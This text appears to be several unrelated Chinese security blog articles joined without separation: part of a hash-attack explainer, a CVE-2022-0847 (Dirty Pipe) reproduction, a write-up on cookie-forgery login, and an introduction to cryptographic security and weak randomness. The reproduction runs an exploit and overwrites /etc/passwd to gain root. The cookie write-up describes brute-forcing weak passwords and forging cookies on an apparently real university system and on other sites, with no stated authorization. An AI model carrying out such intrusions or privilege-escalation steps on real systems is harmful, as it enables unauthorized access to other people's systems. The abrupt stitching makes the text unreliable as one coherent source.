可以看到这个序列最终会形成一个循环,循环从H5开始,找到的碰撞是Hash(H4)=Hash(H10)=H5,只要我们能够找到循环,就能够找到碰撞。对于攻击者而言,首先找到循环点,然后发现碰撞,不需要在内存中存储大量的值,也不需要排序。   循环以及尾部各自有大约2^(n/2)个值,所以大约需要   2^(n/2)x2次哈希运算就能找到碰撞   这里再多说一句,密码学中一般使用Pollard Rho算法分解大整数,其基于大整数n=pq中p和q之间有一个因子很小,在此情况下,可以利用该算法完成对n的分解,它是基于寻找指定哈希函数的碰撞的思想才设计出来的,也就是我们上文提到的过程。假设找到了碰撞,即找到不相等的x,x'并且有   x mod p = x' mod p   那实际上我们就知道x,x'相差p的整数倍,由此可以知道gcd(x-x',n),如果不是1也不是n,那么就分解成功。   长度扩展攻击   对消息进行哈希处理的最简单方法就是将其分成多个分组,并使用类似的算法连续处理每个分组。这种方法被称为迭代哈希,其主要有两种形式:   1.使用压缩函数迭代哈希,将输入转换为较小的输出,如下所示    这种结构也被称为Merkel-Damgard结构   2.使用将输入转换为相同大小的输出的函数进行迭代哈希,是的任意两个不同的输入给出两个不同的输出,如下所示    这种函数被称为海绵函数   基于M-D结构的有MD4,MD5,SHA-1,SHA-2系列,基于后者的最著名的海绵函数是Keccak,也被称为SHA-3。   对于M-D而言,其主要威胁就是长度扩展攻击。长度扩展攻击是指一种针对特定加密散列函数的攻击手段,攻击者可以利用H(消息1)和消息1的长度,不知道消息1内容的情形下,将攻击者控制的消息2计算出H(消息1 ‖ 消息2)。我们来看下面的例子    设存在未知消息M的Hash(M),M由M1,M2组成,那么攻击者对于任意消息M3都可以确定Hash(M1||M2||M3)。这种攻击可行的原因在于M1||M2的哈希是跟在M2之后的链值,所以可以将另一个分组M3添加到哈希中。   SHA-2就存在这个问题,解决方案也很简单,如BLAKE2中让最后一个压缩函数与其他函数都不同即可。   绕过存储证明协议   存储证明协议在云计算中应用广泛,其使用哈希函数,使得服务器能够向用户证明服务器确实存储了应该存储的用户文件。Kotla等人就提出一种存储证明协议(详情见SafeStore: A Durable and Practical Storage System ),设要存的文件为M,过程如下:   1.客户端选择一个随机值C并发送给服务器   2.服务器计算Hash(M||C)并返回给客户端   3.客户端计算Hash(M||C)并比服务器返回的值作比较,如果吻合则说明服务器确实存储着M   这个协议可行的前提是如果服务器不知道M,那么就不能正确计算出H(M||C)   但是这里的缺陷在于,Hash是一个迭代的哈希,其会逐分组处理输入信息,计算每个分组之间的中间链值。服务器利用这一点完成可以实现欺骗,怎么做呢?   当服务器接收到M时,计算H1=Compress(H0,M1),H0是哈希函数的初始值,然后记录H1并删除M,此时服务器已经没有存储着M了。当客户端发送C时,服务器可以计算出Compress(H1,C)并将其作为Hash(M||C)的结果返回。此时客户端会验证成功,由此就欺骗了该协议。   对于SHA-1,SHA-2,SHA-3以及BLAKE2都存在这个问题。其实对应的解决方案很简单,要求服务器计算Hash(C||M)而不是Hash(M||C)即可。   参考   1.https://www.iacr.org/archive/eurocrypt2000/1807/18070595-new.pdf    2.https://en.wikipedia.org/wiki/Slide_attackhttps://crypto.stackexchange.com/questions/17869/lfsr-output-sampling-for-berlekamp-massey   3.https://ieeexplore.ieee.org/document/6378229   4.https://eprint.iacr.org/2018/522.pdf   5.https://en.wikipedia.org/wiki/Cube_attack   6.http://www.dcs.fmph.uniba.sk/diplomovky/obhajene/getfile.php/master-mv.pdf?id=132&fid=219&type=application%2Fpdf&&   7.SafeStore: A Durable and Practical Storage System
CVE-2022-0847漏洞复现及修复建议
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。   漏洞描述   CVE-2022-0847是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权。目前该漏洞的EXP已经公开,且处于在野利用。   影响版本   Linux kernel>=5.8   漏洞复现   这里利用的linux内核版本为5.9,因为之前ubuntu的内核版本为4.5.0   所以需要对linux的内升级   wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900_5.9.0-050900.202010112230_all.deb    wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb    wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-image-unsigned-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb    wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-modules-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb     下载完毕后安装   sudo dpkg -i *.deb   之后重启虚拟机即可,如果中间报错的话,需要重新下载依赖进行安装,这里升级依赖可参考 https://blog.csdn.net/qq_50598558/article/details/119063124  重启之后内核版本成功升级为5.9.0    利用exp进行提权,编译提权脚本   gcc -o exploit exploit.c    ./exploit    临时目录/tmp下生成了一个passwd的备份文件    这个时候需要利用低权限用户将原来的passewd文件进行覆盖   mv /tmp/passwd.bak /etc/passwd    这个时候已成功提权,利用密码为aaron对root用户进行登录    修复建议  • 建议将linux内核升级为安全版本,目前在 Linux 5.10.102、5.15.25 和 5.16.11版本已修复。  • 存在问题终端或者服务器不要映射在公网上。
记一次COOKIE的伪造登录
一次未授权访问和COOKIE的伪造登录   0x01:发现它的网址如此   通过信息收集—发现它的密码规则如下(因重点是COOKIE的伪造登录,故密码规则就不放图了,你懂的…)   账户:  xxxx   密码:   Aa1xxxx   0x02:爆破一个弱口令的账户进去,发现是低权限,java写的网址…(java写的一般涉及的都是越权,未授权之类的额….)   0x03:仔细捣鼓了许久,发现毛线都没有一个….   get请求,无明显的越权操作….   0x04:正当毫无思绪的时候,换了个思路去想,如果能拿到高权限的账户,就可以发现进一步有哪些操作…如果去发下拿下账户是高权限….此时,看到这我陷入了沉思,一般这种情况都会暴露用户名,再结合密码规则..,去看看,看能不能摸到管理员…   0x05:通过发现的用户名,打算进行弱口令尝试   但是突然发现它的url有点怪…   http://xxxxx.xxxxx.edu.cn/xxxxxx/frame.htm?title=&url=http://xxxxx.xxxxx.edu.cn/xxxxxx& /common/user_xxxxxx/&plug_in_js=&system_owner_app=/xxxxxx&_system_todo=newReceiver(true)   就直接马上想到未授权这一块….   直接掏出其他浏览器,不进行登录,进行进行访问..   好家伙,直接未授权..   既然未授权存在,那么这个系统在web端多半就千疮百孔….   ………   现在的目标就是拿到高权限的用户,然后找到它的有价值的url直接未授权即可,然后再测试cookie的伪造……   只撞到一个管理员权限..   0x06:现在高权限用户拿到了,刚刚已经说了,存在未授权的漏洞,现在马上试试,看能不能在账户管理这个地方是否有未授权..(发现不存在未授权,但存在COOKIE伪造)   注意,我在burosuit中通过查看匹配,来判断是否能够访问成功。   当有cookie的时候   0x07:按道理来说,不应该如此,应该存在其他漏洞,于是我我就慢慢去删除COOKIE找到最后端验证的COOKIE,也就是COOkie的伪造是存在。     后面的过程就是不停的伪造,管他什么未授权漏洞,还是COOKIE伪造,一锅烩了,全部COOKIE伪造就好…….   到此为止,这个简单的系统就摸进去了…   总结思路:    1.先是通过弱口令规则,发现存在未授权。    2.再通过弱口令规则,找到管理员,进行继续找危害大的未授权url。    3.再寻找过程中,发现账户账户管理处存在不存在未授权,而是存在COOKIE的伪造….    4.点到为止…   换个网址…好家伙,还通杀….   总结:   1.Java类型的网站,感觉挖的更多是越权,未授权的这一块。   2.在测试过程中,每个点都不能放过…   3.挖洞更多的是细心。   实验推荐   实验:Cookie注入(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014081415213800001>>
密码学的安全性浅析-1
前言 我们一直都在说,密码学是网络空间安全领域的唯一理论支撑,大家都认为密码学是安全的压舱石。 密码学对安全的关键意义毋庸讳言,安全领域非密码学的师傅们而言,对于密码学的认识可能限于打CTF时接触的基础的凯撒密码、栅栏密码到涉及分析的padding oracle attack等,再到要读最新的论文手动编程才能求解的一些问题。 大家对密码学的安全性问题了解并不足够,本系列文章核心来自我们在学习相关文献时的学习记录,整理成文希望能够提升大家对”压舱石“安全性的认识。 具体而言,在本篇文章中,我们会介绍密码学的安全性的定义、如何保证安全性;之后会介绍古典密码及其本质的缺陷,然后引出一次一密;接着会定义攻击模型及安全目标,并通过分析引出随机性的重要性,为了便于理解,在文中会时刻举例说明,同时给出实际中由于对密码学安全性理解不足而发生过的安全事故。 安全性 密码学中的安全性与计算机中的安全性是存在区别的。 计算机安全,我们以软件安全为例,其目标是防止攻击者利用程序代码触发漏洞,而密码学安全的目标是使定义明确的问题无法求解。对于软件安全而言,一个软件要么是安全的,要么是不安全的,但是对于密码领域的程序而言,安全与否并不是绝对的,我们可以计算出破解加密算法所需的工作量,即量化其安全性,但是却不能绝对称其为安全。 密码学中的安全性可以分为两种:理论安全性与计算安全性。当攻击者拥有无限时间和资源还是不能破译密码时,称其为理论安全,也叫做无条件安全,下文会介绍的一次一密便是典型;而如果一个密码算法在给定时间和资源内无法被攻破,则称其为计算安全的,这与攻击者的能力、目标等条件密切相关,在下文我们会根据不同的条件建立不同的攻击模型与安全目标等。 举个例子,设一个密码算法E的密钥K是128比特,加密过程为C=E(K,P),已知一个明文-密文对(P,C),但是不知道K。 求K,这个问题不是理论安全的,因为我们可以穷举2^128种可能;但是这个问题是计算安全的,因为即使一秒钟可以穷举1000亿个K,要穷举 2^128个K要花费超过100 000 000 000 000 000 年的时间,在实践中是安全的。 形式化及度量 我们这里可以给出形式化的定义,设对于一个密码方案,攻击者最多能执行t个操作,攻击成功概率不高于ε,则该方案是(t,ε)-安全的,此时给出的是破解密码算法的难度的下限。注意,这意味着,没有攻击者能够在执行小于t次操作得情况下,获得概率为ε的成功率,但是这并不是说明攻击者执行t次就恰好可以成功,也不会说明需要具体多少次才能成功,所以t实际上是攻击算法所需的操作量的下界。 还是以攻击128比特密钥的对称密码算法为例,理想情况下,此密码对于1到2^128之间的任何t值都是 (t,2/2^12)-安全的,最好的攻击就是暴力破解。我们可以计算以下三种可能的攻击的成功概率: 1.t=1,说明攻击者尝试了一个密钥,并以ε=1/2^128的概率成功 2.t=2^128,说明攻击者尝试了所有密钥,其中一定有一个是成功的,所以成功概率ε=1 3.t=2^64,此时的成功概率ε= 2^-64,也就是说,攻击者尝试所有密钥的一小部分时,成功概率与尝试的密钥数量成正比。 从这个例子我们可以看出,对于1到2^n比特之间的任意t,一个n比特密钥的密码至多是 (t,t/2^n)-安全的,因为无论密码多强大,暴力破解总是可以成功的,实际中的关键就是在于能够抵抗暴力攻击多久。 我们可以对(t,ε)-安全进一步简化。我们说当攻击成功至少需要t次操作时,称其为t-安全,这里我们实际上假设ε是接近1的概率,通过比特表示安全性,”n比特安全“说明攻破它需要2^n次操作。 而直到操作次数后,我们就可以通过取其对数确定其安全强度。假设需要1000000次操作,则其安全强度为log2 1000000=20比特。 其他因素 虽然比特安全性在比较不同密码的安全强度时很有用,但是其没有提供足够的关于攻击成本的信息,仅仅通过比特安全性并不能说明什么,比如两个密码都有128比特密钥和128比特安全性,但是第一个密码比第二个快100倍。那么实际上对第二个密码进行暴力破解2^128次时,可以对第一个密码做 100x2^128次操作了,如果我们以第一个快密码为标准,那么破解慢密码需要 2^134.64次操作。 那么,这能够说明第二个密码比第一个密码安全吗?当然不行,所以我们还需要考虑其他因素。 并行性 设有两个攻击,每个攻击都需要2^56次操作,第一种攻击只能串行,第二种攻击可以并行。假设我们有 2^16=65536个处理器,那么可以将并行工作的负载分成65536个独立任务,每个任务只需要执行 2^40次操作即可。 也就是说,即使并行攻击和顺序攻击执行相同数量的操作,但是并行攻击比顺序攻击快65536倍。 内存 这实际上和攻击所用的空间成本有关,即攻击需要多次内存查找、内存访问速度、访问数据大小等,这些对时间的影响非常关键。例如在当前的CPU上,从寄存器读数据需要1个周期,从CPU缓存读数据需要20个周期,从DRAM读数据需要100个周期。 预计算 这一般被称作攻击的离线阶段,这些操作只需要执行一次,在后面的攻击中就可以重复使用。比如彩虹表破解hash就是这一类,虽然在计算彩虹表进行预计算时会花费大量时间,但是在实际攻击过程中很快就可以实施。 目标数量 攻击目标数量越多,攻击面就越大,攻击者就可以拿到更多关于密钥的信息。举个例子,设目标为n比特的密钥,需要2^n次尝试才能找到正确的密钥,但如果攻击目标为多个n比特密钥,即对于单个明文P,攻击者有M个不同的密文,其分别用M个n比特密钥加密得到。如果攻击者要破解的是M个密钥中的每一个,那么还是需要 2^n次操作,但是如果只需要破解M个中的一个,那么只需要 2^n/M次操作。 也就是说,攻击成本随着目标数量增加而降低。 安全性证明 要评估某密码算法的安全性,我们一般会通过数学证明得到。 在密码学中其被称为可证明安全性,它可以证明某个密码方案至少和解决另一个已知的困难问题是同等困难的,只要困难问题仍然存在,那么方案就是安全的,这种证明方式被称为规约,其来自复杂性理论。 安全性证明根据其所使用的困难问题的类型,可以分为两种:与数学问题相关、与密码问题相关。 与数学问题相关 破解这类方案至少与解决一些数学难题一样困难。 密码学中一个著名的数学难题就是大数分解,RSA正是依赖于它。RSA通过计算C=p^e mond n来加密明文p,其中,e和大数n=pq是公钥。 通过P=c^d mond n解密,其中d是和e、n有关的私钥。 如果我们可以分解n,那么就可以从公钥中恢复私钥来破解RSA;如果有私钥,就可以分解n。 换句话说,恢复RSA私钥和分解大数n是等价的困难问题,这就是我们所说的归约。 与密码问题相关 这类方案是与另一个密码方案比较,并证明只有破解第一个密码方案时,才能破解第二个密码方案。对称密码的安全性证明常用这种方式。 不过可证明安全性并不适用于所有类型的算法,有一些密码算法并没有被证明是安全的,如AES,AES不能规约到一些众所周知的难题,既不与数学问题相关,也不与密码问题相关,而我们之所以还用AES,是因为许多专家尝试破解它但是失败了。此时的安全性证明,我们成为启发式的:密码分析人员分析多轮后,密码算法的安全冗余还是很高,我们就相信它是安全的。 错误的安全性证明 我们已经说了安全性证明非常重要,但是密码学大佬们在进行安全性证明时仍然有可能犯错,对于OAEP的证明就是一个典型例子。OAEP是一种使用RSA实现安全加密的方法,在许多应用程序中使用,OAEP给出的安全性证明中声称其抵抗选择密文攻击的有效期为7年,但是后来大家研究发现证明是错误的,给出的结论也是错误的。之后给出了新的证明,结论是OAEP对选择密文攻击是安全的。 古典密码 古典密码是计算机发明之前的密码,算法作用在字母上而不是比特位上。古典密码中最经典的就是凯撒密码和维吉尼亚密码,二者的基础知识背景这里不再介绍。 凯撒密码   凯撒密码容易被破解,只需要把密文往前移动3位即可得到响应的明文。这种方式安全程度非常低,在古罗马时期经常被使用,不过实际上,前些年意大利警方还通过破译一种凯撒密码的变种抓到了黑手党头目。要增强凯撒密码的安全性,可以改变移位的位数,不过即使这么做了,攻击者最多尝试25次也就可以解密了。 维吉尼亚密码   维吉尼亚密码虽然比凯撒密码安全了很多,但还是容易被攻破。 举个例子,明文“THEY DRINK THE TEA"通过密钥”DUH“加密后的密文为”WBLBXYLHRWBLWYH“ 第一步找出密钥的长度。我们注意到密文中WBL出现了2次,间隔9个字母,这意味着相同的3个字母被用同样的移位模式加密,所以密钥长度要么是9,要么能够整除9.而在英语中,THE是最常出现的3个字母的组合,所以我们可以认为这个重复的3个字母为THE,那么可能的密钥就是DUH. 第二步使用频率分析法找出字母分布的不均匀性。在英语中E是最常见的字母,所以如果密文中X出现次数最多,那么X对应的明文很可能就是E 工作原理 通过上面对两种古典密码的简单分析,我们已经知道密码的工作原理主要就是置换和模式。 置换是指能够变换一个对象的函数,且对每个对象都有唯一的逆(如凯撒密码中的3字母移位),而模式则是通过置换处理任意长度的消息的算法(如凯撒密码中的模式就是对每个字母施加相同的置换,而维吉尼亚密码中则是对不同位置的字幕施加不同的置换) 置换 并不是任意置换都是安全的,为了保证安全,置换需要满足:密钥确定置换,只要密钥保密,则置换保密。不同的密钥确定不同的置换。置换应当看起来随机,经过置换的密文应该没有显著的特征或者可识别的模式。 如果满足以上条件,则称这种置换为安全置换,但是这仅是建立安全密码的必要不充分条件,因为其还和模式相关。 操作模式 在说明操作模式为什么也是建立安全密码的必要条件之前,我们举个例子。 假设我们现在已经有一种安全的置换:A->X,B->M,N->L 那么对于香蕉的英文BANANA则有密文:MXLXLX 我们注意到,仅仅对明文中的所有字母施加相同的置换,在密文中会表现出一种重复的模式,攻击者分析这种模式,即使不能获得完整的信息,但是也能获得一部分信息,比如在这个例子的密文中我们看到在字母的第2,4,6位出现相同的字母,在3,5位出现了相同的字母,如果攻击者知道密文对应的是一种水果,那么攻击者很容易推测出这是BANANA,而不是ORANGE等其他水果。 从这个例子可以看出模式的重要性,模式通过对相同的字母施加不同的置换从而降低了明文中重复字母在密文中表现出的特征的风险。以维吉尼亚密码为例,如果密钥长度为N,那么就有N种不同的置换被施加在连续长度为N的字母串上,不过如果N并非足够长,我们就可以通过频率分析对其进行攻击。所以,如果维吉尼亚密码并应用于加密与密钥长度相同的明文,则频率分析就失效了。 一次一密 我们回过头来在看古典密码,它注定是不安全的,以我们现在的计算能力分分钟就能攻破它。我们知道,为了确定安全,置换应该看起来是随机的,最好的方法就是从所有置换的集合中随机选择每个置换。实际上可以选择的置换有很多,对于字母表,有26!,约等于2^88种置换,但是古典密码却只能使用其中的一小部分。 此外,置换不仅仅可以通过字母移位进行,还可以使用其他操作如乘法、加法等,这便是现代密码了,比如给定128比特密钥,然后进行一定比特位的操作来加密单个字母。 古典密码是绝对不安全的,那么有没有绝对安全的密码呢? 有的,那便是我们这里有介绍的一次一密。 一次一密有绝对的保密性,即使攻击者有无限的计算能力,也无法了解除明文长度以外的任何信息。 设明文为P,密钥为K,其长度与P相等,密文为C,则一次一密的加密过程为:   这个符号是异或运算符 解密则是   一次一密的关键在于密钥K只能使用一次。如果使用两次,设分别将明文P1,P2加密为C1,C2,则攻击者通过如下运算   可以得到P1,P2的异或结果,从而导致信息泄露(当攻击者这知道一条明文时,就可以通过上式结果推出另一条明文) 一次一密的不便之处在于密钥长度需要和明文一样,除了这个缺点外,是非常完美的。香农在上世纪40年代的时候就已经证明了其安全性。 香农指出,要实现完美的保密,一次一密的密钥必须至少与明文一样长,这样攻击者就无法在给定密文的情况下排除任何可能的明文。 这是非常直观的,如果K是随机的,那么C也是随机的,因为随机字符串与任何固定字符串异或得到的结果也是随机的。随机比特串第一位为0的概率为1/2,一个随机比特与另一比特异或的结果为0的概率为1/2,在任意长度的比特串上这一点都成立。换句话说,对于不知道K的攻击者而言,即使其拥有的时间和算力是无限的,但是对他而言C依然是随机的。 假设C长度为128比特,那么有2^128种可能的密文,对于攻击者而言, 就有2^128种可能的明文。如果密钥长度小于128,即可能的密钥少于 2^128种,那么攻击者可以排除某些明文。比如密钥为64比特,那么攻击者可以确定 2^64种可能的明文,这就排除了大多数的128位比特串。 此时攻击者可能不知道明文是什么,但是其知道明文不是什么,从而破坏了完美保密性。 现在我们已经知道,古典密码不安全,一次一密不实用,那么怎么设计安全和实用兼顾的密码呢? 攻击模型与安全性 如果一个密码体制是安全的,必须要定义好对应的攻击模型和安全性目标。攻击模型是关于攻击者可能与密码算法如何交互以及攻击者能力的一系列假设。在进一步分析之前,我们要先了解Kerckhoff原则,其指出,密码的安全性应仅取决于密钥的保密性,而不应取决于密码算法的保密性。 黑盒模型 如果攻击者只能看到密码模型的输入和输出,则称其为黑盒模型。黑盒模型中依据从最弱到最强的顺序列举如下: 唯密文攻击(ciphertext-only attackers,COA):仅知道密文,但不知道相关的明文,也不知道有哪些可以选择的明文。此时攻击者是完全被动的,无法执行加密或解密操作 已经明文攻击(known-plaintext attackes,KPA):知道密文以及其对应的明文。此时攻击者也是被动的,不过它可以获得一系列明文-密文对,其中明文是随机选择的。 选择明文攻击(chosen-plaintext attacks,CPA):可以对选定的明文进行加密并得到对应的密文。此时的攻击者是主动的 选择密文攻击(chosen-ciphertext attackers,CCA):可以进行加密和解密。注意,这个模型只是表示攻击者可以介入加密和查看明文的情况,其解密的内容并不一定足以攻破系统。 灰盒模型 灰盒模型中,攻击者可以访问密码的实现,比如对于智能卡、嵌入式系统等,攻击者对其拥有物理访问权限,从而可以篡改算法的内部结构。这类模型中最典型的一类就是侧信道攻击。 侧信道攻击依赖于密码实现的信息源,攻击者观察密码实施时的模型特征,比如对于软件而言,可以观察其执行时间、错误消息、返回值、分支等,对于硬件而言,可以观察其功耗、电磁辐射等。 侵入式攻击也属于灰盒模型,其可以通过激光故障注入等方法改变芯片的行为。 安全目标 我们之前一直都没有明确定义密码的安全目标,只是笼统地说,能让攻击者对密码一无所示的就是好方法,实际上这是远远不够的。实际上,已经有两个常用的安全目标了。 1.不可区分性(indistinguishability,IND):密文应与随机字符串没有区别。关于这一点,可以通过一个game说明。 设攻击者选定两个明文,收到两者的密文之一,攻击者无法分辨出这是哪个明文对应的密文 2.不可展性(non-malleability,NM):给定密文C1,应该不可能创建另一个密文C2,使其对应的明文P2以有意义的方式与P1相关 IND-CPA 上述的安全目标仅在于具体的攻击模型结合时才有用,一般我们会写作GOAL-MODEL,如IND-CPA,表示的是针对选择明文攻击者的不可区分性。 以IND-CPA为例,这是最重要的安全概念之一,这也称为语义安全,只要密钥保密,密文就不会泄露任何有关明文的信息,当对同一明文加密两次时,加密系统会返回不同的密文。 IND-CPA的关键是随机化,我们还是以IND game为例。设攻击者选择两个明文P1,P2并接受两个明文之一对应的密文但是不知道它对应的是哪一个明文。在CPA模型中,攻击者可以执行加密以获得大C1=E(K,P1),C2=E(K,P2),如果加密不是随机的,那么攻击者查询Ci是否等于C1或C2就可以确定对哪个明文加密,从而赢得game。 实现IND-CPA最简单的方式就是使用确定性随机比特发生器(deterministic random generator,DRBG),它可以返回给定的某些秘密值的随机比特: E(K,R,P)=(DBRG(K||R)异或P,R) 上式中的R是每次加密随机选择的字符串,并与密钥K一起提供给DRBG,如果其生成的是真随机比特串,那么该密码的就是IND-CPA安全的。 这里我们只是简单分析了IND-CPA,这种GOAL-MODEL组合还有很多,比如NM-CPA,NM-CCA,IND-CPA,IND-CCA等,他们之间的一些关系是很明显的:IND-CCA蕴含着IND-CPA,NM-CCA蕴含着NM-CPA,因为CPA攻击者可以做的事情CCA攻击者也可以做。 以上我们都还是考虑了对称密码,对于非对称密码而言,由于任何攻击者都可以使用公钥加密,所以模型默认都是CPA的 弱密码算法 尽管我们已经介绍了相关的密码学概念,但是在实际中如果没有选择适当的密码算法、模型等,还是会造成严重的危害。 在GSM时代,手机通信的加密使用了A5/1的算法,通过建立查找表便可以对其进行攻击。在参考连接6中,可以看到详细的情况。 错误模型 即使密码使用者学习过安全模型,但还是有可能使用错误模型。很多通信协议确实使用了在CPA或CCA中安全的算法,但是实际中有些攻击是不需要涉及CPA中的加密查询或CCA中的解密查询的,比如对于Padding oracle attack而言,只需要进行有效性查询即可,在这种攻击方案下,只有密文对应的明文有适当的填充时,密文才有效,如果填充不正确,解密就会失败,攻击者可以通过观察解密是否失败进行攻击。 这种攻击方案,打CTF的师傅们应该很熟悉了,这里也不再进一步说明,有兴趣的话也可以参考《白帽子讲web安全》中的相关章节。 随机性 我们已经知道,在密码系统中,需要随机性来保证安全。可以说,其中的关键就在于随机比特的生成,其依赖于熵源以及从熵源产生随机比特的算法。 熵源由随机数发生器(RNG)提供,算法由伪随机数发生器(PRNG)提供。 RNG的作用是利用模拟世界中的熵在数字系统中生成不可预测的比特,比如从温度、噪声、静电测量中采样出比特信息,也可以从传感器,IO,系统日志等提取正在运行的OS中的熵。而PRNG的作用则是从一些真正随机的比特生成许多人为的随机比特。 总结来说,RNG以非确定的方式从模拟源生成真随机比特,不保证高熵,而PRNG以确定的方式从数字源生成看起来随机的比特,并具有最大熵。 在随机性方面可能出现哪些问题呢? 熵源不理想 一开始的Netscape浏览器的SSL代码是根据如下所示的伪码计算出128比特的PRNG种子的   这里的问题在于,PID和microseconds是可以被猜测的,如果可以猜到seconds,那么microseconds就只有10^6个可能的值 这是Log(10^6)的熵,大约20比特 另外,PID和PPID各15比特,所以本应有15+15=30比特的熵,但是在标注的1中,可看到,PPID和PID有3比特的重叠,所以只能产生15+12=27比特的熵 所以一共的熵为20+27=47比特,但是128比特的种子应该128比特的熵才对。这是熵源不理想的典型例子。 启动时熵不足 前些年有研究人员扫描整个互联网并从TLS证书和SSL主机中提取公钥,发现一些系统具有相同的公钥,私钥也非常相似。这是非常不合常理的,因为一般情况下,对于两个不同的大数n=pq,n'=p'q',p与p'不相等,q与q'不相等,但是研究人员发现经常会有n与n'不相等的情况下,p=p' 后面发现这其中的原因是,尽管使用了不错的PRNG,但由于在初次启动时会尽早生成公钥,所以在收集到足够的熵之前,如果基础熵源选取相同,那么不同系统中的PRNG会产生相同的随机比特。 会生成相同的密钥,是由于以下伪码中的密钥生成方案造成的   如果两个系统的种子相同,运行上述代码后会生成相同的p,q,也就会生成相同的n。而只有研究人员发现的,在不同密钥中存在共享素数,则是因为在密钥生成过程中注入了额外的熵,如下所示   如果两个系统使用相同的种子运行上述代码,会生成相同的p,但是由于prng.add_entropy()注入了熵,会得到不同的q 对于n=pq,n'=pq'的情况,会有什么为题呢? 这里的关键在于,通过计算n和n‘的最大公约数就可以恢复出p。 非加密PRNG PRNG很常见,在不涉及密码学的场合中也有其身影,我们可以分为加密PRNG和非加密PRNG。非加密PRNG的作用一般是用于生成良好均匀的分布,常用于科学模型、视频游戏中,它只关心比特之间的概率分布的质量,但是不关心它的可预测性,所以在密码程序中不应使用非加密PRNG. 但是实际上,很多编程语言中都用的是非加密PRNG,比如libc中的rand,drand48,PHP中的rand,mt_rand,Python中的random模运算,Ruby中的Random类等。最常见的非加密PRNG就是Mersenne Twister(MT)算法了,它可以产生没好友统计偏差的符合一致分布的随机比特,但是这些比特是可预测的,给定一些MT产生的一些比特,可以预测接下来会出现哪些比特。 MT算法比加密PRNG简单多了,其内部状态是一个由624个32比特字组成的数组S,其初始值为S1,S2,...S624,运行一次后变为S2,...S625...其中的Sk+624可以通过如下计算:   初始状态的比特可以表示为输出比特之间的异或,反之亦然。 如果将其应用于密码系统则会造成危害。 MediaWiki使用随机性生成诸如安全令牌、临时密码等信息,按理来说,此处的随机性应是不可预测的,但是旧版本的MediaWiki使用了非加密PRNG来生成这些令牌和密码,其源码部分如下   从代码中可以看到mt_rand() 这就是我们一直在说的Mersenne Twister,利用它攻击者就可以预测未来的令牌和临时密码。 参考 1.Shoup V. OAEP reconsidered[C]//Annual International Cryptology Conference. Springer, Berlin, Heidelberg, 2001: 239-259. 2.https://www.semanticscholar.org/paper/Understanding-brute-force-Bernstein/3bf374700ec98ea5d1b7658ec85c472f2fe4d952 3.https://link.springer.com/article/10.1007/s00145-003-0213-5 4.https://dl.acm.org/doi/10.1145/800070.802212 5.https://www.schneier.com/academic/archives/1998/01/cryptanalytic_attack.html 6.https://zh.wikipedia.org/wiki/A5/1 7.https://guidanceshare.com/wiki/Non-cryptographic_PRNG 8.https://www.mediawiki.org/wiki/Manual:Config_script/it 9.https://blog.cryptographyengineering.com/2012/03/09/surviving-bad-rng/ 10.https://www.cs.umd.edu/class/fall2018/cmsc818O/papers/ps-and-qs.pdf